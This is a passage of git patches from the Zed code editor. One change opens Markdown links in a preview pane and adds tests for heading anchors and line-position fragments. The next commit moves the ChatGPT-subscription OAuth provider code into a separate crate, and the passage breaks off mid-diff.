+                Editor::for_buffer(buffer, Some(workspace.project().clone()), window, cx)
+            });
+            let preview = MarkdownPreviewView::create_markdown_view(workspace, editor, window, cx);
+            let pane = source_view
+                .as_ref()
+                .and_then(|view| view.upgrade())
+                .and_then(|view| workspace.pane_for(&view))
+                .unwrap_or_else(|| workspace.active_pane().clone());
+            pane.update(cx, |pane, cx| {
+                pane.add_item(Box::new(preview.clone()), true, true, None, window, cx);
+            });
+            preview.update(cx, |view, cx| {
+                view.navigate_to_link_target(link_target, window, cx);
+            });
+        })?;
+        anyhow::Ok(())
+    });
+    task.detach_and_notify_err(workspace_for_error, window, cx);
+}
+
 fn open_preview_path_with_position(
     path_with_position: String,
     fallback_path: String,
@@ -1793,7 +1982,9 @@ mod tests {
     use buffer_diff::BufferDiff;
     use editor::Editor;
     use fs::FakeFs;
-    use gpui::{AppContext as _, Entity, Focusable as _, TestAppContext, WindowHandle};
+    use gpui::{
+        AppContext as _, Entity, Focusable as _, Modifiers, TestAppContext, WindowHandle, px,
+    };
     use language::{Buffer, DiskState, Point};
     use project::Project;
     use serde_json::json;
@@ -1845,12 +2036,13 @@ mod tests {
         fs.insert_tree(
             path!("/project"),
             json!({
-                "docs": {"guide.md": "alpha\nbeta\ngamma\n"},
+                "docs": {"guide.txt": "alpha\nbeta\ngamma\n"},
                 "src": {"main.rs": "first\nsecond\nthird\n"}
             }),
         )
         .await;
         let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        register_markdown_language(&project, cx);
         let (multi_workspace, cx) =
             cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
         let workspace =
@@ -1862,6 +2054,7 @@ mod tests {
                 "../src/main.rs:2:4".into(),
                 None,
                 Some(PathBuf::from(path!("/project/docs"))),
+                None,
                 &workspace_weak,
                 window,
                 cx,
@@ -1888,6 +2081,7 @@ mod tests {
                 "../src/main.rs".into(),
                 Some("L3".into()),
                 Some(PathBuf::from(path!("/project/docs"))),
+                None,
                 &workspace_weak,
                 window,
                 cx,
@@ -1903,12 +2097,13 @@ mod tests {
             );
         });
 
-        // `guide.md:2` must open the sibling file at line 2 despite `guide.md:` being a valid URI scheme prefix.
+        // `guide.txt:2` must open the sibling file at line 2 despite `guide.txt:` being a valid URI scheme prefix.
         multi_workspace.update_in(cx, |_, window, cx| {
             open_preview_url(
-                "guide.md:2".into(),
+                "guide.txt:2".into(),
                 None,
                 Some(PathBuf::from(path!("/project/docs"))),
+                None,
                 &workspace_weak,
                 window,
                 cx,
@@ -1920,7 +2115,7 @@ mod tests {
             workspace
                 .active_item(cx)
                 .and_then(|item| item.downcast::<Editor>())
-                .expect("guide.md should be open in an editor")
+                .expect("guide.txt should be open in an editor")
         });
         guide_editor.update_in(cx, |editor, window, cx| {
             let file_path = editor
@@ -1929,7 +2124,7 @@ mod tests {
                 .as_singleton()
                 .and_then(|buffer| buffer.read(cx).file().map(|file| file.path().clone()))
                 .expect("opened editor should have a file");
-            assert_eq!(file_path.as_ref(), rel_path("docs/guide.md"));
+            assert_eq!(file_path.as_ref(), rel_path("docs/guide.txt"));
             let snapshot = editor.snapshot(window, cx);
             assert_eq!(
                 editor.selections.newest::<Point>(&snapshot).head(),
@@ -1943,6 +2138,7 @@ mod tests {
                 "main.rs:2".into(),
                 None,
                 Some(PathBuf::from(path!("/project/docs"))),
+                None,
                 &workspace_weak,
                 window,
                 cx,
@@ -1965,6 +2161,7 @@ mod tests {
                 "tel:123".into(),
                 None,
                 Some(PathBuf::from(path!("/project/docs"))),
+                None,
                 &workspace_weak,
                 window,
                 cx,
@@ -1974,6 +2171,308 @@ mod tests {
         assert_eq!(cx.opened_url().as_deref(), Some("tel:123"));
     }
 
+    #[gpui::test]
+    async fn opens_markdown_links_in_preview(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let mut notes = String::from("# Notes\n\nintro\n\n");
+        for _ in 0..100 {
+            notes.push_str("filler line\n\n");
+        }
+        notes.push_str("## Target Section\n\nfound it\n");
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                "notes.md": notes,
+                "other.md": "# Other\n\nshort\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        register_markdown_language(&project, cx);
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace =
+            multi_workspace.read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone());
+        let workspace_weak = workspace.downgrade();
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md".into(),
+                Some("target-section".into()),
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let preview = workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<Editor>(cx).count(),
+                0,
+                "markdown links must not open raw editors"
+            );
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<MarkdownPreviewView>())
+                .expect("notes.md should open in a Markdown preview")
+        });
+        assert_eq!(
+            preview_source_path(cx, &preview).as_ref(),
+            rel_path("notes.md")
+        );
+        let heading_scroll_offset =
+            preview.read_with(cx, |preview, _| preview.scroll_handle.offset());
+        assert!(
+            heading_scroll_offset.y < px(0.),
+            "preview should scroll down to the linked heading, got {heading_scroll_offset:?}"
+        );
+
+        let preview_editor = preview.read_with(cx, |preview, _| {
+            preview.active_editor.as_ref().unwrap().editor.clone()
+        });
+        preview_editor.update_in(cx, |editor, _, cx| {
+            let end = editor.buffer().read(cx).snapshot(cx).len();
+            editor.edit([(end..end, "\nappended\n")], cx);
+        });
+        cx.executor().advance_clock(Duration::from_millis(300));
+        cx.run_until_parked();
+        assert_eq!(
+            preview.read_with(cx, |preview, _| preview.scroll_handle.offset()),
+            heading_scroll_offset,
+            "reparsing after an edit must not replay the consumed heading scroll"
+        );
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md".into(),
+                None,
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<MarkdownPreviewView>(cx).count(),
+                1
+            );
+            assert_eq!(
+                workspace.active_item(cx).map(|item| item.item_id()),
+                Some(preview.entity_id())
+            );
+        });
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md:105:1".into(),
+                None,
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<Editor>(cx).count(),
+                0,
+                "a position on a markdown link must not open a raw editor"
+            );
+            assert_eq!(
+                workspace.active_item(cx).map(|item| item.item_id()),
+                Some(preview.entity_id())
+            );
+        });
+        preview_editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(104, 0)
+            );
+        });
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md".into(),
+                Some("L3".into()),
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<Editor>(cx).count(),
+                0,
+                "an `#L<row>` fragment on a markdown link must not open a raw editor"
+            );
+            assert_eq!(
+                workspace.active_item(cx).map(|item| item.item_id()),
+                Some(preview.entity_id())
+            );
+        });
+        preview_editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(2, 0)
+            );
+        });
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "other.md".into(),
+                Some("missing-heading".into()),
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        let other_preview = workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<MarkdownPreviewView>(cx).count(),
+                2
+            );
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<MarkdownPreviewView>())
+                .expect("other.md should open in a Markdown preview")
+        });
+        assert_eq!(
+            preview_source_path(cx, &other_preview).as_ref(),
+            rel_path("other.md")
+        );
+        assert_eq!(
+            other_preview
+                .read_with(cx, |preview, _| preview.scroll_handle.offset())
+                .y,
+            px(0.),
+            "a dead anchor must open the document at the top"
+        );
+
+        cx.simulate_modifiers_change(Modifiers::alt());
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md:5:3".into(),
+                None,
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        cx.simulate_modifiers_change(Modifiers::default());
+
+        let raw_editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<Editor>())
+                .expect("alt-click should open the raw editor")
+        });
+        raw_editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(4, 2)
+            );
+        });
+
+        preview.read_with(cx, |preview, _| {
+            assert_eq!(
+                preview
+                    .active_editor
+                    .as_ref()
+                    .map(|state| state.editor.clone()),
+                Some(raw_editor.clone())
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn scrolls_position_link_in_newly_created_preview(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let mut notes = String::from("# Notes\n\nintro\n\n");
+        for _ in 0..100 {
+            notes.push_str("filler line\n\n");
+        }
+        notes.push_str("## Target Section\n\nfound it\n");
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/project"), json!({ "notes.md": notes }))
+            .await;
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        register_markdown_language(&project, cx);
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace =
+            multi_workspace.read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone());
+        let workspace_weak = workspace.downgrade();
+
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_preview_url(
+                "notes.md:180:1".into(),
+                None,
+                Some(PathBuf::from(path!("/project"))),
+                None,
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        let preview = workspace.read_with(cx, |workspace, cx| {
+            assert_eq!(
+                workspace.items_of_type::<Editor>(cx).count(),
+                0,
+                "a position on a markdown link must not open a raw editor"
+            );
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.downcast::<MarkdownPreviewView>())
+                .expect("notes.md should open in a Markdown preview")
+        });
+        assert_eq!(
+            preview_source_path(cx, &preview).as_ref(),
+            rel_path("notes.md")
+        );
+        let preview_editor = preview.read_with(cx, |preview, _| {
+            preview.active_editor.as_ref().unwrap().editor.clone()
+        });
+        preview_editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(
+                editor.selections.newest::<Point>(&snapshot).head(),
+                Point::new(179, 0)
+            );
+        });
+        let scroll_offset = preview.read_with(cx, |preview, _| preview.scroll_handle.offset());
+        assert!(
+            scroll_offset.y < px(0.),
+            "a new preview should scroll down to the linked position, got {scroll_offset:?}"
+        );
+    }
+
     #[gpui::test]
     async fn toggles_task_checkbox_and_saves_when_preview_is_active(cx: &mut TestAppContext) {
         let app_state = init_test(cx);
@@ -2894,6 +3393,21 @@ mod tests {
         })
     }
 
+    fn register_markdown_language(project: &Entity<Project>, cx: &mut TestAppContext) {
+        let languages = project.read_with(cx, |project, _| project.languages().clone());
+        languages.add(Arc::new(language::Language::new(
+            language::LanguageConfig {
+                name: "Markdown".into(),
+                matcher: Arc::new(language::LanguageMatcher {
+                    path_suffixes: vec!["md".to_string(), "markdown".to_string()],
+                    ..Default::default()
+                }),
+                ..Default::default()
+            },
+            None,
+        )));
+    }
+
     async fn wait_for_preview_serialization(cx: &mut TestAppContext) {
         cx.run_until_parked();
         cx.executor().advance_clock(Duration::from_millis(250));
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 6722fee9eca1b0..670bdd40989a5d 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -1092,7 +1092,11 @@ impl ProjectPanel {
             let is_remote = project.is_remote();
             let is_collab = project.is_via_collab();
             let is_local = project.is_local() || project.is_via_wsl_with_host_interop(cx);
-            let is_markdown = !is_dir && MarkdownPreviewView::is_markdown_path(&*entry.path);
+            let is_markdown = !is_dir
+                && MarkdownPreviewView::is_markdown_path(
+                    entry.path.as_std_path(),
+                    project.languages(),
+                );
 
             let settings = ProjectPanelSettings::get_global(cx);
             let visible_worktrees_count = project.visible_worktrees(cx).count();
@@ -1783,7 +1787,12 @@ impl ProjectPanel {
         let Some((worktree, entry)) = self.selected_entry(cx) else {
             return;
         };
-        if !entry.is_file() || !MarkdownPreviewView::is_markdown_path(&*entry.path) {
+        if !entry.is_file()
+            || !MarkdownPreviewView::is_markdown_path(
+                entry.path.as_std_path(),
+                self.project.read(cx).languages(),
+            )
+        {
             return;
         }
         let project_path = ProjectPath {
diff --git a/crates/util/src/markdown.rs b/crates/util/src/markdown.rs
index 8c45f98bf862db..92c3ffedc93d67 100644
--- a/crates/util/src/markdown.rs
+++ b/crates/util/src/markdown.rs
@@ -59,12 +59,12 @@ pub fn split_local_url_fragment(url: &str) -> (&str, Option<&str>) {
 
 pub fn source_position_from_fragment(fragment: &str) -> Option<(u32, u32)> {
     let fragment = fragment.strip_prefix('L').unwrap_or(fragment);
-    let (line, column) = match fragment.split_once([',', ':']) {
+    let fragment = fragment
+        .split_once('-')
+        .map_or(fragment, |(start, _)| start);
+    let (line, column) = match fragment.split_once([',', ':', 'C']) {
         Some((line, column)) => (line, Some(column)),
-        None => (
-            fragment.split_once('-').map_or(fragment, |(line, _)| line),
-            None,
-        ),
+        None => (fragment, None),
     };
     let line = line.parse::<u32>().ok()?.checked_sub(1)?;
     let column = column
@@ -373,6 +373,8 @@ mod tests {
         assert_eq!(source_position_from_fragment("33,33"), Some((32, 32)));
         assert_eq!(source_position_from_fragment("L42"), Some((41, 0)));
         assert_eq!(source_position_from_fragment("L42:7"), Some((41, 6)));
+        assert_eq!(source_position_from_fragment("L3C5"), Some((2, 4)));
+        assert_eq!(source_position_from_fragment("L3C5-L8C10"), Some((2, 4)));
         assert_eq!(source_position_from_fragment("5"), Some((4, 0)));
         assert_eq!(source_position_from_fragment("L10-L20"), Some((9, 0)));
         assert_eq!(source_position_from_fragment("heading"), None);

From e4ac280d48afa1a64d4fa59108210ab94ed8ec02 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 28 Jul 2026 16:17:18 +0200
Subject: [PATCH 744/772] Move OpenAI subscription code to separate crate
 (#61787)

Release Notes:

- N/A
---
 Cargo.lock                                    |   29 +-
 Cargo.toml                                    |    2 +
 crates/language_models/Cargo.toml             |    5 +-
 .../src/provider/openai_subscribed.rs         | 1395 +----------------
 crates/openai_subscribed/Cargo.toml           |   36 +
 crates/openai_subscribed/LICENSE-GPL          |    1 +
 .../src/openai_subscribed.rs                  | 1362 ++++++++++++++++
 7 files changed, 1492 insertions(+), 1338 deletions(-)
 create mode 100644 crates/openai_subscribed/Cargo.toml
 create mode 120000 crates/openai_subscribed/LICENSE-GPL
 create mode 100644 crates/openai_subscribed/src/openai_subscribed.rs

diff --git a/Cargo.lock b/Cargo.lock
index 2a8077b622f32b..ff1eba29fe22f9 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9887,10 +9887,10 @@ dependencies = [
  "log",
  "menu",
  "mistral",
- "oauth_callback_server",
  "ollama",
  "open_ai",
  "open_router",
+ "openai_subscribed",
  "opencode",
  "parking_lot",
  "pretty_assertions",
@@ -9900,13 +9900,10 @@ dependencies = [
  "serde",
  "serde_json",
  "settings",
- "sha2",
- "smol",
  "strum 0.27.2",
  "tokio",
  "ui",
  "ui_input",
- "url",
  "util",
  "x_ai",
 ]
@@ -12464,6 +12461,30 @@ dependencies = [
  "thiserror 2.0.17",
 ]
 
+[[package]]
+name = "openai_subscribed"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "base64 0.22.1",
+ "credentials_provider",
+ "futures 0.3.32",
+ "gpui",
+ "http_client",
+ "language_model",
+ "log",
+ "oauth_callback_server",
+ "open_ai",
+ "parking_lot",
+ "rand 0.9.4",
+ "serde",
+ "serde_json",
+ "sha2",
+ "smol",
+ "url",
+ "util",
+]
+
 [[package]]
 name = "opencode"
 version = "0.1.0"
diff --git a/Cargo.toml b/Cargo.toml
index 6c1a3251abdd2b..a1a2e71087c0ac 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -145,6 +145,7 @@ members = [
     "crates/oauth_callback_server",
     "crates/ollama",
     "crates/onboarding",
+    "crates/openai_subscribed",
     "crates/opencode",
     "crates/open_ai",
     "crates/open_path_prompt",
@@ -410,6 +411,7 @@ notifications = { path = "crates/notifications" }
 oauth_callback_server = { path = "crates/oauth_callback_server" }
 ollama = { path = "crates/ollama" }
 onboarding = { path = "crates/onboarding" }
+openai_subscribed = { path = "crates/openai_subscribed" }
 opencode = { path = "crates/opencode" }
 open_ai = { path = "crates/open_ai" }
 open_path_prompt = { path = "crates/open_path_prompt" }
diff --git a/crates/language_models/Cargo.toml b/crates/language_models/Cargo.toml
index 8da9eb332ed79c..dbefcd9a76574e 100644
--- a/crates/language_models/Cargo.toml
+++ b/crates/language_models/Cargo.toml
@@ -49,24 +49,21 @@ lmstudio = { workspace = true, features = ["schemars"] }
 log.workspace = true
 menu.workspace = true
 mistral = { workspace = true, features = ["schemars"] }
-oauth_callback_server.workspace = true
 ollama = { workspace = true, features = ["schemars"] }
 open_ai = { workspace = true, features = ["schemars"] }
+openai_subscribed.workspace = true
 opencode = { workspace = true, features = ["schemars"] }
 open_router = { workspace = true, features = ["schemars"] }
 rand.workspace = true
 release_channel.workspace = true
 schemars.workspace = true
-sha2.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
-smol.workspace = true
 strum.workspace = true
 tokio = { workspace = true, features = ["rt", "rt-multi-thread"] }
 ui.workspace = true
 ui_input.workspace = true
-url.workspace = true
 util.workspace = true
 x_ai = { workspace = true, features = ["schemars"] }
 
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index e67c9f3b65ba79..2b57c537ce6bc3 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -1,104 +1,21 @@
-use anyhow::{Context as _, Result, anyhow};
-use base64::Engine as _;
-use base64::engine::general_purpose::URL_SAFE_NO_PAD;
+use anyhow::{Result, anyhow};
 use credentials_provider::CredentialsProvider;
-use futures::{FutureExt, StreamExt, future::BoxFuture, future::Shared};
-use gpui::{App, AsyncApp, Context, Entity, SharedString, Task, Window};
-use http_client::{
-    AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest,
-    http::{HeaderName, HeaderValue},
-};
+use futures::future::Shared;
+use gpui::{App, Context, Entity, SharedString, Task, Window};
+use http_client::HttpClient;
 use language_model::{
     AuthenticateError, FastModeConfirmation, IconOrSvg, InlineDescription, LanguageModel,
-    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
-    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
-    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
-    LanguageModelToolChoice, ProviderSettingsView, RateLimiter,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, ProviderSettingsView,
 };
-use open_ai::{ReasoningEffort, responses::stream_response};
-use rand::RngCore as _;
-use serde::{Deserialize, Serialize};
-use sha2::{Digest, Sha256};
+use openai_subscribed::{ChatGptModel, PROVIDER_ID, PROVIDER_NAME, State, create_language_model};
 use std::sync::Arc;
-use std::time::{SystemTime, UNIX_EPOCH};
 use ui::{ConfiguredApiCard, prelude::*};
-use url::form_urlencoded;
-use util::ResultExt as _;
-
-use crate::provider::open_ai::{OpenAiResponseEventMapper, into_open_ai_response};
-
-const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("openai-subscribed");
-const PROVIDER_NAME: LanguageModelProviderName =
-    LanguageModelProviderName::new("ChatGPT Subscription");
 
 const SUBSCRIPTION_DESCRIPTION: &str =
     "Sign in with your ChatGPT Plus or Pro subscription to use OpenAI models in Zed's agent.";
 
-const CODEX_BASE_URL: &str = "https://chatgpt.com/backend-api/codex";
-const OPENAI_TOKEN_URL: &str = "https://auth.openai.com/oauth/token";
-const OPENAI_AUTHORIZE_URL: &str = "https://auth.openai.com/oauth/authorize";
-const CLIENT_ID: &str = "app_EMoamEEZ73f0CkXaXp7hrann";
-
-const CREDENTIALS_KEY: &str = "https://chatgpt.com/backend-api/codex";
-const TOKEN_REFRESH_BUFFER_MS: u64 = 5 * 60 * 1000;
-
-#[derive(Serialize, Deserialize, Clone, Debug)]
-struct CodexCredentials {
-    access_token: String,
-    refresh_token: String,
-    expires_at_ms: u64,
-    account_id: Option<String>,
-    email: Option<String>,
-}
-
-impl CodexCredentials {
-    fn is_expired(&self) -> bool {
-        let now = now_ms();
-        now + TOKEN_REFRESH_BUFFER_MS >= self.expires_at_ms
-    }
-}
-
-pub struct State {
-    credentials: Option<CodexCredentials>,
-    sign_in_task: Option<Task<Result<()>>>,
-    refresh_task: Option<Shared<Task<Result<CodexCredentials, Arc<anyhow::Error>>>>>,
-    load_task: Option<Shared<Task<Result<(), Arc<anyhow::Error>>>>>,
-    credentials_provider: Arc<dyn CredentialsProvider>,
-    auth_generation: u64,
-    last_auth_error: Option<SharedString>,
-}
-
-#[derive(Debug)]
-enum RefreshError {
-    Fatal(anyhow::Error),
-    Transient(anyhow::Error),
-}
-
-impl std::fmt::Display for RefreshError {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        match self {
-            RefreshError::Fatal(e) => write!(f, "{e}"),
-            RefreshError::Transient(e) => write!(f, "{e}"),
-        }
-    }
-}
-
-impl State {
-    fn is_authenticated(&self) -> bool {
-        self.credentials.is_some()
-    }
-
-    fn email(&self) -> Option<&str> {
-        self.credentials.as_ref().and_then(|c| c.email.as_deref())
-    }
-
-    fn is_signing_in(&self) -> bool {
-        self.sign_in_task.is_some()
-    }
-}
-
 pub struct OpenAiSubscribedProvider {
-    http_client: Arc<dyn HttpClient>,
     state: Entity<State>,
 }
 
@@ -108,63 +25,8 @@ impl OpenAiSubscribedProvider {
         credentials_provider: Arc<dyn CredentialsProvider>,
         cx: &mut App,
     ) -> Self {
-        let state = cx.new(|_cx| State {
-            credentials: None,
-            sign_in_task: None,
-            refresh_task: None,
-            load_task: None,
-            credentials_provider,
-            auth_generation: 0,
-            last_auth_error: None,
-        });
-
-        let provider = Self { http_client, state };
-
-        provider.load_credentials(cx);
-
-        provider
-    }
-
-    fn load_credentials(&self, cx: &mut App) {
-        let state = self.state.downgrade();
-        let load_task = cx
-            .spawn(async move |cx| {
-                let credentials_provider =
-                    state.read_with(&*cx, |s, _| s.credentials_provider.clone())?;
-                let result = credentials_provider
-                    .read_credentials(CREDENTIALS_KEY, &*cx)
-                    .await;
-                state.update(cx, |s, cx| {
-                    if let Ok(Some((_, bytes))) = result {
-                        match serde_json::from_slice::<CodexCredentials>(&bytes) {
-                            Ok(creds) => s.credentials = Some(creds),
-                            Err(err) => {
-                                log::warn!(
-                                    "Failed to deserialize ChatGPT subscription credentials: {err}"
-                                );
-                            }
-                        }
-                    }
-                    s.load_task = None;
-                    cx.notify();
-                })?;
-                Ok::<(), Arc<anyhow::Error>>(())
-            })
-            .shared();
-
-        self.state.update(cx, |s, _| {
-            s.load_task = Some(load_task);
-        });
-    }
-
-    fn create_language_model(&self, model: ChatGptModel) -> Arc<dyn LanguageModel> {
-        Arc::new(OpenAiSubscribedLanguageModel {
-            id: LanguageModelId::from(model.id().to_string()),
-            model,
-            state: self.state.clone(),
-            http_client: self.http_client.clone(),
-            request_limiter: RateLimiter::new(4),
-        })
+        let state = cx.new(|cx| State::new(http_client, credentials_provider, cx));
+        Self { state }
     }
 }
 
@@ -189,18 +51,22 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
         IconOrSvg::Icon(IconName::AiOpenAi)
     }
 
-    fn default_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
-        Some(self.create_language_model(ChatGptModel::Gpt55))
+    fn default_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
+        Some(create_language_model(ChatGptModel::Gpt55, &self.state, cx))
     }
 
-    fn default_fast_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
-        Some(self.create_language_model(ChatGptModel::Gpt56Luna))
+    fn default_fast_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
+        Some(create_language_model(
+            ChatGptModel::Gpt56Luna,
+            &self.state,
+            cx,
+        ))
     }
 
-    fn provided_models(&self, _cx: &App) -> Vec<Arc<dyn LanguageModel>> {
+    fn provided_models(&self, cx: &App) -> Vec<Arc<dyn LanguageModel>> {
         ChatGptModel::all()
             .into_iter()
-            .map(|m| self.create_language_model(m))
+            .map(|model| create_language_model(model, &self.state, cx))
             .collect()
     }
 
@@ -212,13 +78,13 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
         if self.is_authenticated(cx) {
             return Task::ready(Ok(()));
         }
-        let load_task = self.state.read(cx).load_task.clone();
+        let load_task: Option<Shared<_>> = self.state.read(cx).load_task();
         if let Some(load_task) = load_task {
             let weak_state = self.state.downgrade();
             cx.spawn(async move |cx| {
                 let _ = load_task.await;
                 let is_auth = weak_state
-                    .read_with(&*cx, |s, _| s.is_authenticated())
+                    .read_with(&*cx, |state, _| state.is_authenticated())
                     .unwrap_or(false);
                 if is_auth {
                     Ok(())
@@ -256,11 +122,9 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
                 description,
                 create_view: Arc::new({
                     let state = self.state.clone();
-                    let http_client = self.http_client.clone();
                     move |_window, cx| {
                         cx.new(|_cx| ConfigurationView {
                             state: state.clone(),
-                            http_client: http_client.clone(),
                             compact: true,
                         })
                         .into()
@@ -293,791 +157,8 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
     }
 }
 
-//
-// The ChatGPT Subscription provider routes requests to chatgpt.com/backend-api/codex,
-// which only supports a subset of OpenAI models. This list is maintained separately
-// from the standard OpenAI API model list (open_ai::Model).
-//
-// TODO: The Codex CLI fetches this list dynamically from
-// `GET <codex_base_url>/models?client_version=...` (see
-// codex-rs/codex-api/src/endpoint/models.rs in openai/codex) and falls back to
-// a bundled models.json. Beyond going stale, the static approach also can't
-// model per-account access (e.g. free accounts cannot use gpt-5.4 even though
-// paid accounts can), so the backend still rejects some requests. The bundled
-// list at
-// codex-rs/models-manager/models.json (openai/codex) is the closest
-// approximation; the entries below mirror that file's picker-visible models.
-#[derive(Clone, Debug, PartialEq)]
-enum ChatGptModel {
-    Gpt56Sol,
-    Gpt56Terra,
-    Gpt56Luna,
-    Gpt55,
-    Gpt54,
-    Gpt54Mini,
-}
-
-impl ChatGptModel {
-    fn all() -> Vec<Self> {
-        vec![
-            Self::Gpt56Sol,
-            Self::Gpt56Terra,
-            Self::Gpt56Luna,
-            Self::Gpt55,
-            Self::Gpt54,
-            Self::Gpt54Mini,
-        ]
-    }
-
-    fn id(&self) -> &str {
-        match self {
-            Self::Gpt56Sol => "gpt-5.6-sol",
-            Self::Gpt56Terra => "gpt-5.6-terra",
-            Self::Gpt56Luna => "gpt-5.6-luna",
-            Self::Gpt55 => "gpt-5.5",
-            Self::Gpt54 => "gpt-5.4",
-            Self::Gpt54Mini => "gpt-5.4-mini",
-        }
-    }
-
-    fn display_name(&self) -> &str {
-        match self {
-            Self::Gpt56Sol => "GPT-5.6 Sol",
-            Self::Gpt56Terra => "GPT-5.6 Terra",
-            Self::Gpt56Luna => "GPT-5.6 Luna",
-            Self::Gpt55 => "GPT-5.5",
-            Self::Gpt54 => "GPT-5.4",
-            Self::Gpt54Mini => "GPT-5.4 Mini",
-        }
-    }
-
-    fn max_token_count(&self) -> u64 {
-        match self {
-            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => 372_000,
-            Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => 272_000,
-        }
-    }
-
-    fn max_output_tokens(&self) -> Option<u64> {
-        // Codex model metadata does not expose a max output token cap for these
-        // models. Source: openai/codex models-manager/models.json.
-        None
-    }
-
-    fn supports_images(&self) -> bool {
-        true
-    }
-
-    fn default_reasoning_effort(&self) -> Option<ReasoningEffort> {
-        match self {
-            Self::Gpt56Sol => Some(ReasoningEffort::Low),
-            Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => {
-                Some(ReasoningEffort::Medium)
-            }
-        }
-    }
-
-    fn supported_reasoning_efforts(&self) -> &'static [ReasoningEffort] {
-        match self {
-            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => &[
-                ReasoningEffort::Low,
